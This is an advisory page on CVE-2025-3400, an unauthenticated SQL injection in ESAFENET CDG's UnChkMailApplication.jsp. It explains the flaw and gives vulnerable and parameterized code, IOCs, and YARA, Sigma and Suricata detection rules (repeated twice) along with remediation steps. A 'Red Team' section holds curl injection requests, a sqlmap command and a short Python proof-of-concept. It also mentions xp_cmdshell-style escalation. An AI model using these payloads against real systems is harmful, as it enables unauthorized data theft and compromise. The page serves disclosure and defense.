CVE-2025-3400
Executive Summary
CVE-2025-3400 is a critical SQL injection vulnerability in ESAFENET CDG (Content Delivery Gateway) version 5.6.3.154.205_20250114. The flaw resides in the /client/UnChkMailApplication.jsp endpoint, where the typename parameter is not properly sanitized before being used in a SQL query. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, credential theft, or full system compromise. The exploit has been publicly disclosed, and no vendor patch is available. This vulnerability is classified as critical with a CVSS score of 9.8.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (ESAFENET CDG). No supply chain attack vector is identified.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. Immediate action is required.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the UnChkMailApplication.jsp page. The application takes the typename parameter from an HTTP GET or POST request and directly concatenates it into a SQL query without proper sanitization or parameterized queries. This allows an attacker to inject arbitrary SQL commands.
Root Cause: The lack of input validation and the use of dynamic SQL query construction.
Attack Vector: Remote, unauthenticated HTTP request to /client/UnChkMailApplication.jsp?typename=INJECTION_PAYLOAD.
Impact: An attacker can:
- Extract sensitive data (user credentials, email content, system configuration).
- Modify or delete data in the database.
- Potentially execute operating system commands if the database user has sufficient privileges (e.g.,
xp_cmdshellin SQL Server orCOPY FROM PROGRAMin PostgreSQL).
Example Payload (Conceptual):
' OR '1'='1' --
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual Java JSP):
<%
String typename = request.getParameter("typename");
String query = "SELECT * FROM mail WHERE type = '" + typename + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
%>
Patched Code (Conceptual):
<%
String typename = request.getParameter("typename");
String query = "SELECT * FROM mail WHERE type = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, typename);
ResultSet rs = pstmt.executeQuery();
%>
Patch Status: No official patch from ESAFENET. The vendor did not respond. Users must implement virtual patching or mitigate via WAF rules.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running ESAFENET CDG 5.6.3.154.205_20250114.
- Network access to the
/client/UnChkMailApplication.jspendpoint.
Exploitation Steps:
Identify the vulnerable endpoint:
curl -v "http://target.com/client/UnChkMailApplication.jsp?typename=test"Test for SQL injection:
curl "http://target.com/client/UnChkMailApplication.jsp?typename=1'"Look for database error messages.
Extract database version (example for MySQL):
curl "http://target.com/client/UnChkMailApplication.jsp?typename=1' UNION SELECT @@version,2,3-- "Automated exploitation with sqlmap:
sqlmap -u "http://target.com/client/UnChkMailApplication.jsp?typename=1" --batch --dbs
Proof-of-Concept (PoC) Script (Python):
import requests
target = "http://target.com/client/UnChkMailApplication.jsp"
payload = "' UNION SELECT 'test',2,3-- "
params = {'typename': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/client/UnChkMailApplication.jspfor abnormaltypenameparameters. - Look for SQL keywords (SELECT, UNION, OR, AND, --, #) in the
typenameparameter. - Use WAF rules to block SQL injection patterns.
Honeypot:
- Deploy a decoy instance of ESAFENET CDG and monitor for exploitation attempts.
Log Analysis:
- Check web server logs for requests with
typenamecontaining SQL metacharacters.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/client/UnChkMailApplication.jspwithtypenameparameter containing SQL injection patterns. - Outbound database connections from the web server to unusual IPs (data exfiltration).
File IOCs:
- Suspicious files in the web root (e.g., webshells like
cmd.jsp). - Modified JSP files in
/client/directory.
Log IOCs:
- Database error messages in application logs (e.g., "You have an error in your SQL syntax").
- Web server logs showing
400or500errors for the vulnerable endpoint.
YARA Rule:
rule CVE_2025_3400_SQLi_Detection {
meta:
description = "Detects SQL injection attempts against CVE-2025-3400"
author = "Valters IT"
date = "2025-04-17"
strings:
$s1 = "UnChkMailApplication.jsp" nocase
$s2 = "typename=" nocase
$s3 = "SELECT" nocase
$s4 = "UNION" nocase
$s5 = "OR" nocase
$s6 = "'"
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}
Sigma Rule:
title: CVE-2025-3400 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG UnChkMailApplication.jsp
author: Valters IT
date: 2025/04/17
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "/client/UnChkMailApplication.jsp?typename="
- "SELECT"
- "UNION"
- "OR"
- "'"
condition: selection
falsepositives:
- Legitimate use of the word "SELECT" in a parameter (unlikely)
level: high
Suricata Rule:
alert http any any -> any any (msg:"CVE-2025-3400 SQL Injection Attempt"; flow:to_server,established; content:"/client/UnChkMailApplication.jsp"; http_uri; content:"typename="; http_uri; pcre:"/(SELECT|UNION|OR|'|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule CVE_2025_3400_SQLi_Detection {
meta:
description = "Detects SQL injection attempts against CVE-2025-3400"
author = "Valters IT"
date = "2025-04-17"
strings:
$s1 = "UnChkMailApplication.jsp" nocase
$s2 = "typename=" nocase
$s3 = "SELECT" nocase
$s4 = "UNION" nocase
$s5 = "OR" nocase
$s6 = "'"
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-3400 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG UnChkMailApplication.jsp
author: Valters IT
date: 2025/04/17
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "/client/UnChkMailApplication.jsp?typename="
- "SELECT"
- "UNION"
- "OR"
- "'"
condition: selection
falsepositives:
- Legitimate use of the word "SELECT" in a parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3400 SQL Injection Attempt"; flow:to_server,established; content:"/client/UnChkMailApplication.jsp"; http_uri; content:"typename="; http_uri; pcre:"/(SELECT|UNION|OR|'|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy a WAF rule to block requests containing SQL injection patterns in the
typenameparameter. - Network Segmentation: Isolate the ESAFENET CDG server from untrusted networks.
- Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.
Long-Term Fix:
- Vendor Patch: Await an official patch from ESAFENET. Since the vendor did not respond, consider migrating to an alternative solution.
- Code Fix: If source code is available, implement parameterized queries (Prepared Statements) in
UnChkMailApplication.jsp. - Input Validation: Implement strict input validation for the
typenameparameter (allow only alphanumeric characters).
Workaround:
- Disable the
/client/UnChkMailApplication.jspendpoint if not required. - Restrict access to the endpoint via firewall rules (allow only trusted IPs).
Valters IT